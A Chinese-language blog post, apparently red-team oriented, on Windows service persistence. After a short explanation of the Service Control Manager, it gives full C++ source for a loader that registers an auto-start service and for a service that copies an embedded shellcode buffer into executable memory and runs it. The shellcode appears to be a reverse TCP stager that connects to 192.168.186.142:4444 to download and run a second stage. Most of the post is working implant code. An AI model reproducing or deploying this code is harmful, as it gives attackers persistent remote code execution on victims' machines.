自启动服务

通常windows服务运行在session 0,隔断了系统服务和桌面系统,各个session之间相互独立,不能交互和通信。

服务控制管理器(SCM:Services Control Manager)是一个管理系统所有服务的进程。当 SCM 启动某个服务时,它等待某个进程的主线程来调用 StartServiceCtrlDispatcher 函数。将分派表传递给 StartServiceCtrlDispatcher。这将把调用进程的主线程转换为控制分派器。该分派器启动一个新线程,该线程运行分派表中每个服务的 ServiceMain 函数分派器还监视程序中所有服务的执行情况。然后分派器将控制请求从 SCM 传给服务。

系统进程自启动是通过windows系统提供的api创建系统服务,并设置服务为自启动类型实现的,创建系统服务的时候要求具有管理员权限,作为系统服务启动的程序需要存在一个额外的服务入口点ServiceMain,ServiceMain应首先为服务向控制器注册,ServiceMain运行在一个单独的线程内,这个线程是由控制分派器创建的 ,通常需要把不需要用户交互的操作放在这里面,如果需要与用户交互,可以通过WTS系列函数来实现。

创建流程

  • 加载器:

  1. 获取SCManager句柄

  2. 通过SCManager对服务进行增删查改

  • 服务执行体

  1. 连接到SCM

  2. 注册服务控制处理器

  3. 在控制处理器中对服务控制进行处理(通过SetServiceStatus反馈服务状态和设置接受的控制)。

大致原理

服务控制管理器进程services.exe会在系统初始化时遍历名为HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services的注册表项,这个注册表项记录着所有注册的windows服务的实现文件(系统默认服务通常是一个dll)、启动权限。

遍历后将所有设置为auto-start的服务启动,通常表现形式为每个服务带起一个名为svchost.exe进程,这个进程是一个共享服务进程,具体服务线程的代码则是该进程额外载入的注册表内记录的dll文件。

代码实现

serviceloader.cpp

#include <Windows.h>
#include <Shlwapi.h>
#include <stdio.h>
#pragma comment(lib, "Shlwapi.lib")
// 0 加载服务 1 启动服务 2 停止服务 3 删除服务
BOOL SystemServiceOperate(char* lpszDriverPath, int iOperateType)
{
BOOL bRet = TRUE;
char szName[MAX_PATH] = { 0 };
lstrcpy(szName, lpszDriverPath);
// 过滤掉文件目录,获取文件名
PathStripPath(szName);
SC_HANDLE shSCManager = NULL, shService = NULL;
SERVICE_STATUS sStatus;
DWORD dwErrorCode = 0;
// 打开服务控制管理器数据库
shSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (0 != iOperateType)
{
// 打开一个已经存在的服务
shService = OpenService(shSCManager, szName, SERVICE_ALL_ACCESS);
if (!shService)
{
CloseServiceHandle(shSCManager);
shSCManager = NULL;
return FALSE;
}
}
switch (iOperateType)
{
case 0:
{
// 创建服务
// SERVICE_AUTO_START 随系统自动启动
// SERVICE_DEMAND_START 手动启动
shService = CreateService(shSCManager, szName, szName,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
lpszDriverPath, NULL, NULL, NULL, NULL, NULL);
break;
}
case 1:
{
// 启动服务
StartService(shService, 0, NULL);
break;
}
case 2:
{
// 停止服务
ControlService(shService, SERVICE_CONTROL_STOP, &sStatus);
break;
}
case 3:
{
// 删除服务
DeleteService(shService);
break;
}
default:
break;
}
// 关闭句柄
CloseServiceHandle(shService);
CloseServiceHandle(shSCManager);
return TRUE;
}
int main(int argc, TCHAR* argv[])
{
BOOL bRet = FALSE;
char szFileName[MAX_PATH] = "C:\\Users\\Black Sheep\\source\\repos\\SimpleService\\Debug\\TestService.exe";
bRet = SystemServiceOperate(szFileName, 0);
if (FALSE == bRet)
{
printf("Create Error!\n");
}
bRet = SystemServiceOperate(szFileName, 1);
if (FALSE == bRet)
{
printf("Start Error!\n");
}
printf("Create and Start OK.\n");
system("pause");
// 停止并删除服务
bRet = SystemServiceOperate(szFileName, 2);
if (FALSE == bRet)
{
printf("Stop Error!\n");
}
bRet = SystemServiceOperate(szFileName, 3);
if (FALSE == bRet)
{
printf("Delete Error!\n");
}
printf("Stop and Delete OK.\n");
system("pause");
}

服务:

// ServiceTest.cpp : 定义控制台应用程序的入口点。
//
// ServiceTest.cpp : 定义控制台应用程序的入口点。
//
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xba\x8e"
"\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
"\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
"\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
"\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
"\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
// 服务入口函数以及处理回调函数
void __stdcall ServiceMain(DWORD dwArgc, char* lpszArgv);
void __stdcall ServiceCtrlHandle(DWORD dwOperateCode);
BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress);
void DoTask();
// 全局变量
char g_szServiceName[MAX_PATH] = "ServiceTest.exe"; // 服务名称
SERVICE_STATUS_HANDLE g_ServiceStatusHandle = { 0 };
BOOL bOnce = FALSE;
int _tmain(int argc, _TCHAR* argv[])
{
// 注册服务入口函数
SERVICE_TABLE_ENTRYA stDispatchTable[] = { {g_szServiceName, (LPSERVICE_MAIN_FUNCTIONA)ServiceMain }, { NULL, NULL } };
StartServiceCtrlDispatcherA(stDispatchTable);
return 0;
}
void __stdcall ServiceMain(DWORD dwArgc, char* lpszArgv)
{
g_ServiceStatusHandle = RegisterServiceCtrlHandlerA(g_szServiceName, ServiceCtrlHandle);
TellSCM(SERVICE_START_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
// 自己程序实现部分代码放在这里
// !!注意!! 此处一定要为死循环, 否则在关机再开机的情况(不是点击重启), 不能创建用户进程
while (TRUE)
{
Sleep(5000);
DoTask();
}
}
void __stdcall ServiceCtrlHandle(DWORD dwOperateCode)
{
switch (dwOperateCode)
{
case SERVICE_CONTROL_PAUSE:
{
// 暂停
TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
TellSCM(SERVICE_PAUSED, 0, 0);
break;
}
case SERVICE_CONTROL_CONTINUE:
{
// 继续
TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
TellSCM(SERVICE_RUNNING, 0, 0);
break;
}
case SERVICE_CONTROL_STOP:
{
// 停止
TellSCM(SERVICE_STOP_PENDING, 0, 1);
TellSCM(SERVICE_STOPPED, 0, 0);
break;
}
case SERVICE_CONTROL_INTERROGATE:
{
// 询问
break;
}
default:
break;
}
}
BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress)
{
SERVICE_STATUS serviceStatus = { 0 };
BOOL bRet = FALSE;
RtlZeroMemory(&serviceStatus, sizeof(serviceStatus));
serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
serviceStatus.dwCurrentState = dwState;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = dwExitCode;
serviceStatus.dwWaitHint = 3000;
bRet = SetServiceStatus(g_ServiceStatusHandle, &serviceStatus);
return bRet;
}
void DoTask()
{
if (bOnce == FALSE)
{
bOnce = TRUE;
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
}

github:https://github.com/idiotc4t/SimpleService.git

LINKS